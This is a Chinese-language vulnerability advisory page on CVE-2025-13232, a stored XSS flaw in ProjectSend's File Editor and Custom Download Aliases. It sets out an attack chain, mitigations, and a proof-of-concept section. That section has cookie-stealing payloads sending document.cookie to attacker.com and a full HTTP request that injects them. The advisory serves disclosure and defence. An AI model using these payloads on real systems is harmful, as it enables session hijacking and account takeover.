IPBUF安全漏洞报告
English
CVE-2025-13232 CVSS 3.5 低危

CVE-2025-13232 ProjectSend 文件编辑器存储型XSS漏洞

披露日期: 2025-11-16

漏洞信息

漏洞编号
CVE-2025-13232
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ProjectSend

相关标签

CVE-2025-13232XSS存储型XSSProjectSend文件编辑器自定义下载别名跨站脚本会话劫持低危漏洞Web应用安全

漏洞概述

CVE-2025-13232是ProjectSend软件中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于ProjectSend的File Editor(文件编辑器)和Custom Download Aliases(自定义下载别名)功能组件中。攻击者可以通过在文件编辑器或自定义下载别名功能中注入恶意JavaScript脚本,当其他用户访问或查看相关内容时,恶意脚本将在受害者浏览器中执行。由于该漏洞需要低权限用户认证和用户交互才能触发,因此CVSS评分仅为3.5,属于低危漏洞。攻击者可利用此漏洞窃取用户会话cookie、劫持用户账户或进行钓鱼攻击。ProjectSend是一个开源的文件共享和传输管理平台,广泛应用于企业内部文件传输场景。

技术细节

该漏洞为存储型XSS(Stored XSS),攻击者将恶意JavaScript代码注入到ProjectSend的File Editor或Custom Download Aliases功能中。恶意代码会被永久存储在服务器数据库中。当其他用户(尤其是管理员)访问包含恶意代码的页面时,注入的脚本会在其浏览器上下文中执行。攻击利用流程:首先攻击者以低权限账户登录系统,然后通过文件编辑器功能上传文件或在自定义下载别名设置中注入XSS payload(如:<script>alert(document.cookie)</script>)。由于这些输入字段未进行充分的输入验证和输出编码,恶意脚本被直接存储。当管理员查看文件列表或下载别名设置时,恶意脚本执行,攻击者即可获取管理员的会话cookie,从而实现账户劫持。该漏洞影响ProjectSend r1720及之前版本。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用ProjectSend软件,确定版本号 <= r1720
STEP 2
2. 账户创建/登录
攻击者注册低权限账户或使用已有账户登录ProjectSend系统
STEP 3
3. XSS Payload注入
通过File Editor或Custom Download Aliases功能,注入恶意JavaScript代码(如<script>alert(document.cookie)</script>)
STEP 4
4. Payload存储
恶意代码被永久存储在服务器数据库中,等待受害者访问
STEP 5
5. 诱导管理员访问
攻击者诱导管理员查看文件列表或相关页面,触发XSS执行
STEP 6
6. 会话劫持
恶意脚本执行,窃取管理员cookie并发送到攻击者控制的服务器
STEP 7
7. 账户接管
攻击者使用窃取的cookie劫持管理员会话,获取系统完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13232 ProjectSend Stored XSS PoC --> <!-- Target: ProjectSend File Editor / Custom Download Aliases --> <!-- PoC 1: Custom Download Aliases XSS --> <!-- Steps: --> <!-- 1. Login to ProjectSend with low-privilege user --> <!-- 2. Navigate to: Files -> Edit File -> Custom Alias --> <!-- 3. Inject XSS payload in the alias field --> payload_alias = '<script>\n fetch("https://attacker.com/steal?c="+document.cookie)\n</script>' <!-- PoC 2: File Editor XSS --> <!-- Steps: --> <!-- 1. Login to ProjectSend --> <!-- 2. Upload a file or edit existing file --> <!-- 3. Inject XSS in file description/name field --> payload_file = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">' <!-- Example HTTP Request --> POST /projectsend/files/edit.php?id=123 HTTP/1.1 Host: target.com Cookie: PHPSESSID= victim_session Content-Type: application/x-www-form-urlencoded file_description=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>&submit=Save <!-- After admin visits the page, cookie will be sent to attacker server -->

影响范围

ProjectSend <= r1720

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用或限制File Editor和Custom Download Aliases功能的使用;2)实施严格的输入验证规则,过滤<script>、<img>、<iframe>等危险HTML标签和事件处理器属性;3)启用HTTPOnly和Secure标志保护cookie;4)限制低权限用户对文件编辑功能的访问;5)监控日志中的可疑XSS尝试;6)考虑使用Web应用防火墙(WAF)进行额外的安全防护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表